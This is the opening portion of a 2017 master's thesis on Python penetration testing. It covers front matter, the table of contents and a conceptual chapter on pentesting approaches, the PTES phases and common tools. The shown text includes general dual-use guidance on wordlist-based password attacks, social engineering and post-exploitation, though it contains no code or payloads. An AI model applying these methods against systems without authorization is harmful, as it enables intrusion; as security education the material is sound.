DELVAIN MBINA
MERCY COLLEGE
GRADUATE SCHOOL
MASTER’S THESIS
A PENTEST APPROACH TO STACK-BASED BUFFER OVERFLOW EXPLOITATION
ii
Mercy College
EVALUATION OF CUSTOM TOOLS FOR PENTEST AUTOMATION
A Thesis
By
Delvain Mbina
Department of Math/Computer Sciences
Submitted in partial fulfillment of the requirements
for the degree of
Master of Science, Cybersecurity
June 2017
Accepted by the Cybersecurity Program
___________, _______________________
Date, Dean of the Graduate School
iii
The undersigned have examined the thesis entitled ‘Evaluation of Custom Tools for
Pentest Automation’ presented by Delvain Mbina, a candidate for the degree of Master
of Science in Cybersecurity and hereby certify that it is worthy of acceptance.
August 16, 2017 Dr. John Yoon
Date Advisors name
August 16, 2017 Dr. Zhixiong Chen
Date committee member name
iv
ABSTRACT
The focus of this Master’s thesis project is python penetration testing. Python is a
powerful new-age scripting platform that allows you to build exploits, evaluate services,
automate, and link solutions with ease. Penetration testing is a practice of testing a
computer system, network, or web application to find weaknesses in security that an
attacker can exploit. Because of the power and flexibility offered by it, Python has become
one of the most popular languages used for penetration testing.
The process of manual penetration testing brings some advantages, the main
advantage being reduced costs in terms of time and human resources needed to perform
the test. Although there exist a number of automated tools to perform the required
procedures, many security professionals prefer manual testing. The main reason for this
choice is that standard automated tools make use of techniques that might compromise the
stability and integrity of the system under test. This is usually not acceptable since the
majority of penetration tests are performed in an operating environment with high
availability requirements.
The goal of this thesis is to introduce a different approach to penetration testing
automation that aims to achieve useful test results without the use of techniques that could
damage the system under test. By investigating the procedures, challenges, and
considerations that are part of the daily work of a professional penetration tester, some
tools were designed and implemented to perform this new process of non-aggressive
testing.
v
The outcome of this thesis project reveals that these tools are able to provide the
same results as standard automated penetration testing procedures. However, in order for
the tools to completely avoid using unsafe techniques, (limited) initial access to the system
under test is needed.
vi
ACKNOWLEDGMENTS
I would like to thank everyone who supported me during this thesis project.
In particular, I would also like to thank Professor John Yoon for his constant
support during this project, and his willingness to share his unlimited knowledge. I like to
also express my gratitude to my dear friend Youssef Hanzaz for his moral support and
expertise during my research.
Last but not least, thank you my parents, who have always supported my career
endeavors—including paying for my master’s program and for their inspiration.
vii
TABLE OF CONTENTS
ABSTRACT ...................................................................................................................... iv
ACKNOWLEDGMENTS ............................................................................................... vi
TABLE OF CONTENTS ............................................................................................... vii
LIST OF TABLES ........................................................................................................... ix
LIST OF FIGURES .......................................................................................................... x
CHAPTER 1: Introduction .............................................................................................. 1 1.1 PROBLEM STATEMENTS ................................................................................ 3
1.2 THESIS GOAL .................................................................................................... 5 1.3 THESIS LAYOUT ............................................................................................... 5
CHAPTER 2: THE SCOPE OF PENETRATION TESTING ..................................... 7 1.1 WHAT IS PENETRATION TESTING? ............................................................. 7
1.2 UNDERSTANDING WHAT PENTESTING IS NOT ........................................ 9 1.2.1 VULNERABILITY ASSESSMENTS.......................................................... 9 1.2.2 REVERSE ENGINEERING ....................................................................... 10
1.2.3 HACKING .................................................................................................. 11 1.3 THE NEED FOR PENETRATION TESTING ................................................. 11
1.4 APPROACHES TO PENTESTING .................................................................. 13 1.4.1 BLACK-BOX TESTING............................................................................ 13
1.4.2 WHITE-BOX TESTING ............................................................................ 13 1.4.3 GREY-BOX TESTING .............................................................................. 14
1.5 THE STAGES OF PENTESTING ..................................................................... 15
1.5.1 PRE-ENGAGEMENT PHASE .................................................................. 17 1.5.2 INFORMATION GATHERING PHASE................................................... 20
1.5.3 THREAT MODELING PHASE ................................................................. 21 1.5.4 VULNERABILITY ASSESSMENT PHASE ............................................ 22 1.5.5 EXPLOITATION PHASE .......................................................................... 24
1.5.6 POST-EXPLOITATION PHASE ............................................................... 25 1.5.7 REPORTING PHASE ................................................................................ 26
1.6 PENETRATION TESTER’S TOOL BOX ........................................................ 26 1.6.1 THEHARVESTER AND RECON-NG ...................................................... 27
1.6.2 NMAP ......................................................................................................... 27 1.6.3 NETCAT ..................................................................................................... 28 1.6.4 NESSUS ...................................................................................................... 29 1.6.5 METASPLOIT ............................................................................................ 30 1.6.6 FAST-TRACK AUTOPWN ....................................................................... 34
1.6.7 CORE SECURITY’S IMPACT .................................................................. 35 1.7 THE LIMITATIONS OF PENTESTING .......................................................... 37 1.8 CONCLUSION .................................................................................................. 38
CHAPTER III: VIRTUAL LAB SETUP AND METHODOLOGY .......................... 39 3.1 SETUP ................................................................................................................ 39
viii
................................................................................................................................... 40
3.2 CONFIGURATION ............................................................................................ 40
3.3 METHODOLOGY ............................................................................................. 42
CHAPTER 4: PYTHON PENETRATION TESTING ............................................... 44 4.1 INFORMATION GATHERING ........................................................................... 46
4.1.1 IP SCANNER .................................................................................................. 46 4.1.2 PORT SCANNER ............................................................................................ 51
4.1.3 DETECTING A SYN SCAN........................................................................... 60 4.2 VULNERABILITY ASSESSMENT ..................................................................... 61
4.2.1 PROGRAM’S MEMORY ............................................................................... 62 4.2.2 FUZZING: STACK-BASED BUFFER OVERFLOW .................................. 66
4.3 EXPLOITATION ................................................................................................... 67
4.3.1 ATTEMPTING A CRASH .............................................................................. 67 4.3.2 LOCATING EIP .............................................................................................. 71
4.3.3 HIJACKING EXECUTION ............................................................................ 75 4.3.4 GETTING A SHELL ....................................................................................... 81
4.3.5 PREVENTING BUFFER OVERFLOWS ....................................................... 85 4.4 POST-EXPLOITATION ....................................................................................... 87
4.4.1 EVADING ANTIVIRUS PROGRAM ............................................................ 88
4.4.2 VERIFYING EVASION ................................................................................. 90 4.4.3 PERSISTENCE................................................................................................ 92
CHAPTER 5: CONCLUSION....................................................................................... 94
REFERENCES ................................................................................................................ 97
Appendix A .................................................................................................................... 100
Appendix B .................................................................................................................... 102
ix
LIST OF TABLES
Table 1: Functions to avoid............................................................................................... 86
x
LIST OF FIGURES
Figure 1: Metasploit Framework Architecture ................................................................. 34 Figure 2: Virtual Lab ........................................................................................................ 40 Figure 3: Kali Linux networking configuration ................................................................ 41 Figure 4: Windows XP networking configuration ............................................................ 42
Figure 5: Creating and Handling Threads ......................................................................... 49 Figure 6: TCP IP Scanner ................................................................................................. 50 Figure 7: TCP three-way handshake ................................................................................. 51 Figure 8: Memory Visualization ....................................................................................... 62 Figure 9: Stack Frame ....................................................................................................... 64
Figure 10: Stack after call to function1............................................................................. 65
Figure 11: War-FTP 1.65 GUI .......................................................................................... 67
Figure 12: War-FTP running in Immunity Debugger ....................................................... 68 Figure 13: War-FTP crashes due to a buffer overflow ..................................................... 70 Figure 14: Using pattern_create in Mona .............................................................. 71
Figure 15: Output of the pattern_create command ................................................ 72
Figure 16: Finding the return address overwrite ............................................................... 73
Figure 17: Finding the pattern offsets in Mona ................................................................ 73 Figure 18: War-FTP crashes with EIP filled with Bs ....................................................... 74
Figure 19: ESP controlled by the attack string ................................................................. 76 Figure 20: Searching for JMP ESP with Mona ................................................................. 77 Figure 21: Breakpoints in Immunity Debugger ................................................................ 78
Figure 22: Breakpoint found ............................................................................................. 79
Figure 23: Redirecting execution to the attack string ....................................................... 80 Figure 24: Generating shellcode with Msfvenom ............................................................. 81 Figure 25: War-FTP crashes ............................................................................................. 82
Figure 26: Malicious payload generated by Msfvenom ................................................... 88 Figure 27: Building bindshell.exe ..................................................................................... 90
Figure 28: Scan of bindshell.exe with default Metasploit encoder ................................... 91 Figure 29: Scan of bindshell.exe compiled with Python .................................................. 92
1
CHAPTER 1: Introduction
From time to time, a news story breaks about a major company being hit by a
cyberattack. Sony, the data security firm RSA, the defense contractor Lockheed Martin,
the Fox broadcast network, NASA’s Goddard Space Flight Center, the European Space
Agency, the FBI, the banking and insurance giant Citigroup are the few high-profile
organizations who were victims of massive network security breaches in 2011. Intrusion
campaigns such as “Operation Shady Rat” disclosed by McAfee in August 2011 and
“Nitro” disclosed by Symantec in October 2011 showed a systematic compromise of every
significant sector of the economy including technology, industrial manufacturing, defense,
financial services, and government and nongovernment organizations and proved no one,
regardless of whether they are government or in the private sector, is immune. In other
news, based on the industry’s most reliable source for metrics on data breach
investigations, Verizon 2011 Data Breach Investigations Report, showed the number of
compromised records dropped significantly, from about 361 million records in 2008 to just
4 million records in 2010.
More often than not, the attackers didn’t use the latest and greatest zero-day (a
vulnerability unpatched by the software publishers). Major companies with sizable security
budgets fall victim to SQL injection vulnerabilities on their websites, social-engineering
attacks against employees, weak passwords on Internet-facing services, and so on. In other
words, companies are losing proprietary data and exposing their clients’ personal details
through security holes that could have been fixed.
2
As a result, there has been a challenge of providing a secure environment; an
effective network security strategy that helps identifying threats and then selecting the most
effective sets of tools to mitigate them in such a way that any organization will be able to
reduce the likelihood of incidents and resultant data loss, is called penetration testing. On
a penetration test, a pentester finds these issues before an attacker does, and recommends
how to fix them and avoid future vulnerabilities.
3
1.1 PROBLEM STATEMENTS
The penetration testing technology today is riddled with oversimplified Graphical
User Interfaces or automated tools. Though easy to use, they often offer very little control
over the operations they perform and don't offer a very informative experience to their
users. Another drawback is that most tools that automate the penetration testing process
involve the active use of exploits.
Exploiting a vulnerability can often cause a system or service to crash or fail to
perform its legitimate purpose. This makes penetration testing a risky practice, since many
tests are performed in a production environment. The stability and integrity of the target
system are extremely important in most situations and one cannot simply accept that the
automated tools may cause the system to stop functioning. Therefore, penetration testers
often prefer manual testing, so they can have as much control over their testing activities
as possible.
Another reason why pentesters might prefer not to use standard automated tools is
that many of these security assessment solutions are only developed to identify and
automate exploitation for the most obvious and simple instances of vulnerabilities.
The basic skill set of a good penetration tester includes at least rudimentary skills
in a scripting or software development languages such as bash scripting, Python, Go, Ruby,
and so on. This is so that they can handle the weird and outlier instances of vulnerabilities
with their own customized tools and are capable of automating security testing according
to their own terms. Firewalls, intrusion detection/prevention systems, and other security
4
monitoring solutions are becoming smarter, and the only way penetration testers are ever
going to beat them is by learning to build their own tools to "weaponize" their command
lines.
Nowadays, a penetration tester who cares about the integrity and stability of the
target system is obliged to rely on his or her own scripts and assessment tools. The currently
available automated tools do not take into consideration the risk to the system under test,
thus a different approach to automating penetration testing is needed to address these
issues.
5
1.2 THESIS GOAL
The main goal of this thesis is to examine in depth how non-aggressive penetration
testing is conducted and to design and implement automated tools written in Python that
utilizes this approach. The purpose is to evaluate a different approach to penetration testing
that unlike standard automated tools, focuses on methods and techniques that preserve the
integrity and stability of the system under test. The question that the thesis tries to answer
is whether such an approach can provide the same results as standard penetration testing
procedures, but without making use of techniques that could cause damage to the system
under test. Additionally, this thesis is aimed to look into fuzzing, a popular exploit
development technique amongst people who try to find previously uncovered, security-
related bugs, as an initial step for an efficient buffer overflow exploit.
1.3 THESIS LAYOUT
The structure of this thesis is as follows. Chapter 1 has described the problem and the
specific goals of this thesis. Chapter 2 provides the background necessary to understand
the problem and the specific knowledge that the reader will need to understand the rest of
this thesis. What penetration testing is and not is explained, phases of the PTES are
thoroughly described, common automated tools are briefly highlighted, and some efforts
to automate the testing procedures are analyzed. When the foundation is set, this thesis, in
Chapter 3, moves on with laying out the small virtual laboratory set up for the
experimentation and describes the systematic approach chosen and carried out to reach the
goal of a successful penetration testing.
6
Chapter 4 deals with the actual simulated penetration testing. It begins with the
information gathering including network profiling and services identification of the target
machine. Then, it moves on with the vulnerability assessment through an exploit
development technique called fuzzing. Finally, it delves into exploiting the buffer overflow
vulnerability found with a variety of tools, including Metasploit and purely manual
exploitation written in Python and then, illustrates what has done during the post-
exploitation phase. Chapter 5 involves a discussion about the research contributions with
appropriate conclusion statements.
7
CHAPTER 2: THE SCOPE OF PENETRATION TESTING
1.1 WHAT IS PENETRATION TESTING?
There is a huge misconception about what penetration testing is. This is common
even among professionals who have recently entered the field. New penetration testers or
professionals who request penetration tests often say that these tests prove the exploitability
of vulnerabilities, the probability of an environment to exploitation, or just the presence of
vulnerabilities. Further, this mistaken perception includes the thought that a penetration
test will find all vulnerabilities, it will be able to find unknown zero days every time, and
all objectives will always be met irrespective of the controls put in place.
In simple words, penetration testing is to test the information security measures of a
company. Information security measures entail a company's network, database, website,
public-facing servers, security policies, and everything else specified by the client. The
scope of the penetration tests will vary from client to client. Some pentests require to act
like an insider—a malicious employee or attacker who has already breached the
perimeter—as internal penetration test is being performed. Some request an external
penetration test, in which the simulation of an attack is being conducted via the Internet.
The difference between the first and the second definition of a penetration test is night and
day.
The second definition is illustrated by a simple example of penetration testing which
is the use “Google Search Engine”. In a book, “Google Hacking for Penetration Testers”
by Johnny Long demonstrated many tricks to get information from the engine using
8
Google’s massive database. This book provides a good resource for security experts and
penetration testers to discover preliminary information about the target by using directives
such as “site:target-domain.com”, find employee contact and email address, trace
vulnerable software installations, map the network and more. Similarly, when a bug is
found in another popular web application, Google can often provide a list of vulnerable
servers worldwide within seconds, giving information to a well-trained attacker.
In contrast, the first definition focuses solely on vulnerabilities; this means that
people expect the activity that a pentester will perform to be related to exploiting or finding
vulnerabilities or simple misconfigurations. It does not take into account bad practices
related to the policies, processes, or insecure relationships that the organization may have.
These preconceived notions often have the following significant impacts for both
organizations and new assessors.
If vulnerabilities are not within the database, then the system will not identify the
vulnerability that could grant unwanted access. Vulnerability Management Solution will
not highlight the chained attacks related to bad practices or processes, which would be
classified as a weakness or vulnerability. The use of these tools for penetration tests makes
them exceedingly noisy, and they encourage pentesters to simulate attacks that are
relatively outdated.
Most attackers take advantage of the path of least resistance, which usually does
not relate to Remote Code Exploits such as the famous MS08-067 or MS06-40. Instead, a
9
pentester should step back and look for insecure associations and configurations that may
provide unauthorized access. Most experienced or professionals do not use VMS tools
during penetration tests, but instead focus on assessing environments manually.
Many of these misconceptions relate directly to other types of engagements. This
comes from other security assessments being advertised as penetration tests. In the
following section, a sample of assessments that are often confused with penetration tests is
explained. It should be enough to demonstrate the nuances between an actual penetration
test and other security assessments and activities.
1.2 UNDERSTANDING WHAT PENTESTING IS NOT
Other types of assessments and activities are often advertised or confused as
penetration tests. Examples of these types of engagements include vulnerability
assessments, large-scale reverse engineering projects, and hacking. Let's address each of
these in turn so as to understand where penetration testing fits in.
1.2.1 VULNERABILITY ASSESSMENTS
Vulnerability assessment such as security audits, and IT audits emphasis on
identifying areas that are vulnerable to a computer attack. This type of assessment is great
for showing how good an organization is at performing patching and deploying assets in a
secure configuration. The key here is that these types of assessments do not focus on
gaining access to critical data from the perspective of an attacker, but instead relate to
finding vulnerabilities. Whereas penetration test usually goes deeper, gives more emphasis
10
on identifying vulnerabilities and gaining as much access as possible of the system and
then exploit them.
Vulnerability assessment is like looking at a door and thinking if the door is locked
or unlocked. It could allow someone to gain unauthorized access, whereas a penetration
testing is actually trying to open the door, and see where it leads, and explore the possibility
after entering inside the door. A penetration test is a better indication of the weakness in
the network or systems. Penetration testing is more invasive in nature whereas
vulnerability assessment is less invasive and does not potentially disrupt the system or
network services. Therefore, penetration test has more potential to disrupt system or
network services.
1.2.2 REVERSE ENGINEERING
Reversing can be part of a penetration test, but it is much rarer today than in the
past. Current penetration tests may include exploit development, but it is done to create a
proof of concept related to homegrown code and gaining access to a critical system where
the data may reside.
In contrast, in large-scale reversing engagements, a pentester tries to prove the
overall probability of the application to being reversed and the weaknesses related to the
source code, compilation, and associated libraries.
These types of engagements are better suited to a reversing engineer, who spends
time identifying common attack vectors and methods to compromise an application, versus
gaining access to critical data. The level of experience in this specific arena is extensive.
11
Often, many Pentesting move from penetration testing to this specific skillset where they
do reversing full time.
1.2.3 HACKING
Hacking is not an assessment, but deals directly with taking advantage of
exploitable vulnerabilities; it could be related to malicious activity or it could be done for
research. The purpose of hacking is not to gain access to critical data, but to solely crack
vulnerabilities. There are many definitions of hacking, and it is often directly related
penetration testing, but there are no specific or explicit goals related to hacking. Now that
some of the big differences between a penetration test and the other activities have been
delineated, the need for penetration testing can be highlighted.
1.3 THE NEED FOR PENETRATION TESTING
There are several reasons why an organization should hire a security professional to
perform a penetration test. The main reason is that security breaches can be extremely
costly. A successful attack may lead to direct financial losses, harm the organization’s
reputation, trigger fines, etc. With a proper penetration test it is possible to identify
security vulnerabilities and then take countermeasures before a real attack takes place.
Consider an example of a well-reputed e-commerce company that makes money from
online business.
A hacker or group of black hat hackers find a vulnerability in the company's website
and hack it. The amount of financial loss the company will have to bear will be tremendous.
12
The result of a penetration test helps an organization to prioritize their risks. A
specific security breach produces a certain damage to the organization. Depending on the
severity of the issues that are identified, it is possible to appropriately plan a mitigation
strategy with a stronger focus on more critical issues. Also, these efforts can lead to
efficient budget allocation for information security issues.
Another reason for adopting penetration test is that it can be generally performed by
people external to the organization responsible for the system under test. Consequently, the
testers operate with a different point of view of the internal system’s resources and may be
able to identify issues that were not readily visible to internal operators. In addition, an
unbiased security analysis and penetration test provides evidence of due diligence in a legal
context for protecting online assets, minimizing potential loss of shareholder value. This
independent audit is rapidly becoming a requirement for obtaining cyber-security
insurance.
Since a penetration test simulates a real attack, it is a good chance for assessing the
preparation of the organization’s technical staff in such situations. For example, if the
testers are able to compromise the system without anyone noticing, it is a clear indication
that more effort should be put on security awareness and incident handling. Social
engineering techniques, such as requesting passwords over the telephone, can be also
employed to assess the level of general security awareness and the effectiveness of security
policies and user agreements.
13
1.4 APPROACHES TO PENTESTING
Although there are different types of approaches to penetration testing, penetration
testing normally depends upon what an organization wants to test, whether the scope is to
simulate an attack by an insider or an external source. The three widely accepted
approaches are Black-box, White-box and Grey-box. The main difference between these
three approaches is the amount of knowledge of the implementation details supplied to the
tester about the systems to be tested. These three approaches will be discussed in the
following sections.
1.4.1 BLACK-BOX TESTING
The black-box testing is also referred as “external testing” or “remote penetration
testing”. In this approach, pentesters simulate an attack as someone who have no prior
knowledge of the infrastructure to be tested by deploying the number of real-world attack
techniques (e.g. Social Engineering, Network Scanning, remote access, Trojans, etc.) and
following the organized test phases. For example, testers will be only provided with the
organization’s name or network IP address rage. Therefore, the testers simulate all hacking
techniques that may reveal some known and unknown set of vulnerabilities existed on the
network. The main goal behind the black-box penetration test is to study the cyber warfare
attack completely and evaluate the organization’s systems for their security controls.
1.4.2 WHITE-BOX TESTING
White Box testing is also known as “Clear Box testing” or “internal testing”. There
are multiple arguments about what the appropriate term is, but at the end of the day, this
14
type of assessment highlights malicious insiders or attackers who have complete
knowledge of the infrastructure to be tested, often including OS details, IP address schema
and network layouts, source code, and possibly even some passwords. For example,
pentesters try to setup “backdoor” access that might be used to gain remote access once the
internal security has been breached. The main goal behind the white-box penetration test
is to verify the integrity of organizations network and proactively reduce risks from an
internal individual like a disgruntled employee.
1.4.3 GREY-BOX TESTING
The combination of both types of penetration testing provides a powerful insight
for internal and external security view point. This combination is known as Gray-box
testing. Gray Box testing are the most common type of penetration testing, where
organizations provide some information to improve the accuracy of the results and save
time for the pentesting team to uncover information that is publicly available; at the end, it
may reduce the cost of the engagement.
Furthermore, penetration tests may also be described as “full disclosure”, “partial
disclosure” or “blind” tests based on the amount of information provided to the testing
party.
Penetration tests may be conducted as “blue teaming” i.e. with the knowledge and
consent of the organization’s IT staff, or “red teaming” i.e. with only the knowledge and
permission of upper management. Red teaming is more expensive and complex to manage,
but can provide a better indication of the day to day security as the system administrators
15
will not be on heightened awareness. This type of assessment should only be executed if
the organization has a mature security posture.
1.5 THE STAGES OF PENTESTING
A methodology describes a set of rules, practices, procedures, and methods that are
allowed and implemented during the course of any information security audit program. A
penetration testing methodology is a series of rules or guidelines used to perform
penetration testing on a computer system or network. The biggest benefit of using a
methodology is that it allows pentesters to evaluate an environment holistically and
consistently. Thus, penetration testing methodology works as a roadmap with practical
ideas and proven practices which should be handled with great care in order to assess the
system’s security correctly. Being consistent with an assessment means a couple of things:
• It is less likely that an assessor will miss large vulnerabilities
• It mitigates tunnel vision, which causes assessors to take too much time
concentrating in regions that will not move the engagement forward
• This means that irrespective of the customer or the environment, an assessor
will not approach the engagement with preconceived notions
• The assessor will provide the same level of competence to an environment
each time
• A customer will receive a high-quality product each time with few chances
of an assessor missing details
16
There are different penetration testing methodologies that one can choose from
there is no such thing as “the right methodology”. But all methodologies provide these
benefits.
Examples of some methodologies include the Open Source Security Testing
Methodology Manual (OSSTMM), the Open Web Application Security Project (OWASP)
for web assessments, the National Institute of Standards and Technology (NIST) Special
Publication 800-115 Technical Guide to Information Security Testing and Assessment, and
the Penetration Testing Execution Standard. This thesis only focuses on in the PTES
module because it is a solid resource and has additional benefits for new pentesters.
Within the PTES, there are a number of technical guidelines that relate to the
different environments that a pentester may encounter. In these technical guidelines, there
are suggestions for how to address and evaluate the security of a system or network with
industry standard tools. They will not provide a pentester the means to step into an
engagement and execute it from start to finish. Only experience and exposure to an
environment will provide a pentester the means to deal with most situations that he/she
encounters. It should be noted that no two environments are identical; there are nuances to
each organization, company, or firm. These differences mean that even a very experienced
pentester will find moments that will stump him/her. When standard exploits do not work,
testers can have tunnel vision; sticking to a methodology will prevent that.
How a pentester knows when he/she needs to execute these complex exploits is by
knowing that all the simple stuff has failed; as a real attacker uses the path of least
resistance so should a pentester. When this fails, and only when this fails, should a pentester
17
start ratcheting up the necessary skill level. A pentester is evaluating an environment's
ability to resist the actions of attackers.
This does not mean that if one path of least resistance is found, a pentester should
stop; he/she should identify critical data locations and prove that these can be
compromised. The pentester should also highlight other paths that a real attacker could take
to reach critical data. Being able to identify multiple paths and methods related to
compromising critical data again requires a methodology.
These protections are bricks in a building, built up over time and result in a secure
posture by forming a defense. Much like American Football, if an organization has not
mastered the fundamental components of a strong defense, there is no way it can defend
against a trick play. So, pentesters should start from the bottom and work their way up,
itemizing the issues.
To achieve the goal of PTES, the proper methodology and workflow has to be
defined, both theoretically and practically. In the next sections, the seven phases of PTES
will be laid out.
1.5.1 PRE-ENGAGEMENT PHASE
Before the pentest begins, pentesters perform pre-engagement interactions with the
client to make sure everyone is on the same page about the penetration testing.
Miscommunication between a pentester and a client who expects a simple vulnerability
scan could lead to a sticky situation because penetration tests are much more intrusive.
Without a doubt, this is the most important phase for a smooth and successful engagement.
18
Any shortcuts taken here or undue haste to complete this phase can have a significant
impact on the rest of the assessment.
The pre-engagement stage is when pentesters should take the time to understand
the client’s business goals and what matters most to them for the pentest. For example, to
a top online vendor, hours of downtime could mean thousands of dollars of lost revenue.
To a local bank, having online banking sites go down for a few hours may annoy a few
customers, but that downtime wouldn’t be nearly as devastating as the compromise of a
credit card database. To an information security vendor, having their homepage plastered
with rude messages from attackers could lead to a damaged reputation that snowballs into
a major revenue loss.
Other important items to discuss and agree upon during the pre-engagement phase
of the pentest include the following:
• Scope: In a company, the objective of a penetration testing is to demonstrate
what exploitable vulnerabilities exist within a company’s network. The scoping can be
done by identifying existing security policies, industry standards and best practices etc.
Some of the inputs and the expertise of a penetration testing team must also be part of the
scope when deciding the level of the penetration test. As a result, the following questions
are important to consider. What IP addresses or hosts are in scope, and what is not in scope?
What sorts of actions will the client allow the pentester to perform? Are he/she allowed to
use exploits and potentially bring down a service, or should he/she limit the assessment to
merely detecting possible vulnerabilities? Does the client understand that even a simple
19
port scan could bring down a server or router? Are he/she allowed to perform a social-
engineering attack?
• A “get out of jail free” card: Some legal restriction, which lists the
acceptable and non-acceptable procedures, a penetration testing team must follow to ensure
no accidental targeting the wrong application or interface which could have serious legal
ramifications. For example, if a target is not owned by the company (for instance, because
it’s hosted by a third party), a pentester should verify that the client has formal approval
from the third party to perform the penetration test. Regardless, the contract should include
a statement that limits the liability in case something unexpected happens, and contains a
written permission to perform the test.
• The testing window: The scheduling about what will be attacked, when,
from where and how must be discussed during the kickoff meeting sessions. This is vital,
as it ensures normal business and everyday operations of the company will not be disrupted.
• Contact information: Whom should the pentester contact if he/she finds
something serious? Does the client expect him or her to contact someone 24 hours a day?
Do they prefer that he/she use encryption for email?
• Payment terms: How and when will the pentester be paid, and how much?
Finally, a nondisclosure agreement clause should be included in the contract.
Clients will appreciate a written commitment to keep the penetration test and any findings
confidential.
20
1.5.2 INFORMATION GATHERING PHASE
After defining the objectives, scope, legal restriction and scheduling, the actual
testing starts; it can be regarded as an information gathering phase and is particularly
important if the organization wants the penetration testing team to determine its external
exposure. During this phase, a pentester will analyze freely available sources of
information, a process known as gathering Open Source Intelligence (OSINT), and use
registries such as the American Registry of Internet Numbers (ARIN) or other regional
registries, information repositories query tools such as WhoIs, Shodan, Robtex, social
media sites, and tools like Recon-ng and the Google Hacking Database (GHDB). The goal
is to identify historical information including employee information, physical location and
business activity using reconnaissance.
In addition to reconnaissance, the data gathered during this phase is perfect for
building profiles for social engineering and physical engagements. The components
discovered about an organization and its people, would provide an assessor the means to
interact with the employees. This is done in hope that employees will divulge information
or pretext it so that critical data can be extracted. For technical engagements, internet
footprinting including research done on job sites, company websites, regional blogs, and
campus maps can help build word lists for dictionary attacks. Specific data sets such as the
local sports teams, player names, street names, and company acronyms are often very
popular as passwords.
21
Tools like Cewl can be used to extract words on these websites, and then, the words
can be manipulated with John the Ripper to permutate the data, with character substitution.
These lists are very useful for dictionary attacks against login interfaces, or for cracking
extracted hashes from the organization.
Other information that can be advantageous to a pentester are the live systems
within the organization network, the open and filtered ports, services running on these
ports, the operating system details(fingerprinting) and network path discovery, etc. to
identify potential security holes and vulnerabilities on the organization systems or network
using active probes and passive network sniffing tools and techniques. Some of the most
popular and common tools used during this phase are nmap, netcat, hping2 and superscan
etc.
1.5.3 THREAT MODELING PHASE
Based on the knowledge gained in the information-gathering phase, a pentest can
move on to threat modeling. Here pentesters think like attackers and develop plans of attack
based on the information they’ve gathered. For example, if the client develops proprietary
software, an attacker could devastate the organization by gaining access to their internal
development systems, where the source code is developed and tested, and selling the
company’s trade secrets to a competitor. The data pentesters found during information
gathering help build an engagement and reveal the type of malicious actor that he/she
22
should be impersonating to penetrate a client’s systems. Common types of threats that
organizations face are as follows:
• Nation states
• Organized crime
• Hackers
• Script Kiddies
• Hacktivists
• Insiders (intentional or unintentional)
Here are a couple of things to always keep in mind when assessing threats, any one
of these types of threats can be an insider. All it takes is a single phishing e-mail, or one
disgruntled employee who broadcasts credentials or accesses, for an organization to be
open to compromise. Other ways that an insider may unintentionally provide access include
technical forums, support teams, and blogs.
So, does this mean that every organization is threatened by insiders, and the range
of experience may not be limited to that of the actual insider? Insiders are also the hardest
threat to mitigate. Most penetration tests do not include credentials to simulate an insider.
This is only done by an organization that has a mature security posture. This state is
typically reached only through a variety of security assessments to include multiple threats
simulated through penetration tests.
1.5.4 VULNERABILITY ASSESSMENT PHASE
23
After identifying underlying technology and services versions in the target system
or network, pentesters begin to actively discover vulnerabilities to determine how
successful their exploit strategies might be. Failed exploits can crash services, set off
intrusion-detection alerts, and otherwise ruin chances of successful exploitation.
During previous phases, data on operating system, IP addresses,
services/applications are collected mainly from Internet and performed scanning and
enumeration based on these data, and now this information will be refined to examine and
communicate directly with the target systems or network with the intent of identifying and
analyzing the potential vulnerabilities and threats.
In this phase, penetration tester starts from probing the live target systems or
networks closer than what was done in the information gathering phase, using active probes
and passive network sniffing. Both active probes and passive network sniffers are used to
understand what services are running on a target system, to understand the internal network
and fingerprint the operating system running on the target systems. Once the systems are
detected, operating systems are identified, and services available are verified then the
analysis should be performed to find the potential threats and vulnerabilities.
Indeed, pentesters needs to understand the state of security within a system or a
network and find out which vulnerability are real and which ones are false positive. If
identifying vulnerability help to improve the security of system by understanding the
current risk environment in information security, analysis of vulnerability shows how bad
things can get if vulnerabilities are exploited. Pentesters may use automated or custom-
made scanning tools to test the target system or network for vulnerabilities.
24
In a final note, the great secret of penetration testing, which is usually not relayed
in movies, magazines, and/or books, is that penetration testing is primarily research,
grinding, and report writing. Pentesters research what is exposed, what vulnerabilities are
viable, and what methods can be used to exploit these systems. Pentesters who spend years
doing this are the ones speeding through this phase because they have the experience to
find methods to target attacks and gain access. The benefit of spending the required time
here is that the next phase related to exploitation will flow very quickly.
1.5.5 EXPLOITATION PHASE
By now, the penetration tester has acquired lots of information about the target
system and network. This information is now used to break into the target system.
However, at this point penetration tester should consider external factors that affect what
tools to use and when. This phase acts as verification of potential vulnerabilities and thus,
entails the highest risk within a penetration test so it should be performed with a lot of
caution. All the possible effects need to be carefully considered; all the exploits need to be
thoroughly tested in a controlled environment before performing critical test procedures,
such as the utilization of buffer overflow exploits. Time restriction always exists, forcing
the penetration to make use of the framework as these frameworks help to reduce a lot of
time instead of writing custom exploits. Metasploit is one of such open source exploitation
framework that is extensively used during penetration test.
Keep in mind that exploitation does not just mean access to a system via a piece of
code, remote exploit, creation of an exploit, or bypassing antivirus. It could be as simple
as logging into a system directly with default or weak credentials. Though many newer
25
pentesters look at this as less desirable, experienced pentesters try and find ways to access
hosts through native protocols and accesses. This is because native access is less likely to
be detected and it is closer to the real activity that an attacker be performing.
1.5.6 POST-EXPLOITATION PHASE
Some say pentests truly begin only after exploitation, in the post-exploitation phase;
the escalation of privileges, hunting for credentials, extraction of data, and pivoting are all
done here. This is where a pentester has the opportunity to prove risk to an organization by
proving the level of access achieved, the amount and type of critical data accessed, and the
security controls bypassed. All of this is typified in the post exploitation phase.
During post exploitation, pentesters gather information about the attacked system,
look for interesting files, attempt to elevate the privileges where necessary, and so on. For
example, a pentester might dump password hashes to see if he/she can reverse them or use
them to access additional systems. Pentesters might also try to use the exploited machine
to attack systems not previously available by pivoting into them. Along with vulnerability
exploits, social engineering tactics should also be deployed for the purpose of privilege
escalation because social engineering has proven to be an effective way of obtaining
sensitive information about a company and its employees.
The post exploitation phase includes activities related to escalating privileges,
extracting data, profiling, creating persistence, parsing user data and configurations, and
clean-up. All exploits activities performed after a system has been accessed and transitions
to system examination relate to post exploitation. Once an engagement is over, all the
26
access levels achieved, the critical data accessed, and the security controls bypassed are
highlighted in a single document, the report.
1.5.7 REPORTING PHASE
The most important and final phase related to penetration testing is reporting. At
the end of the day, the client is requesting and paying for a report. The only thing he/she
can hold in his/her hands at the end of the engagement is the report. The report includes a
description of the vulnerabilities that were encountered during the test, how it was possible
to exploit them and suggestions on how they could be fixed. In general, this final report is
an opportunity to under- stand the overall security posture of the systems or network.
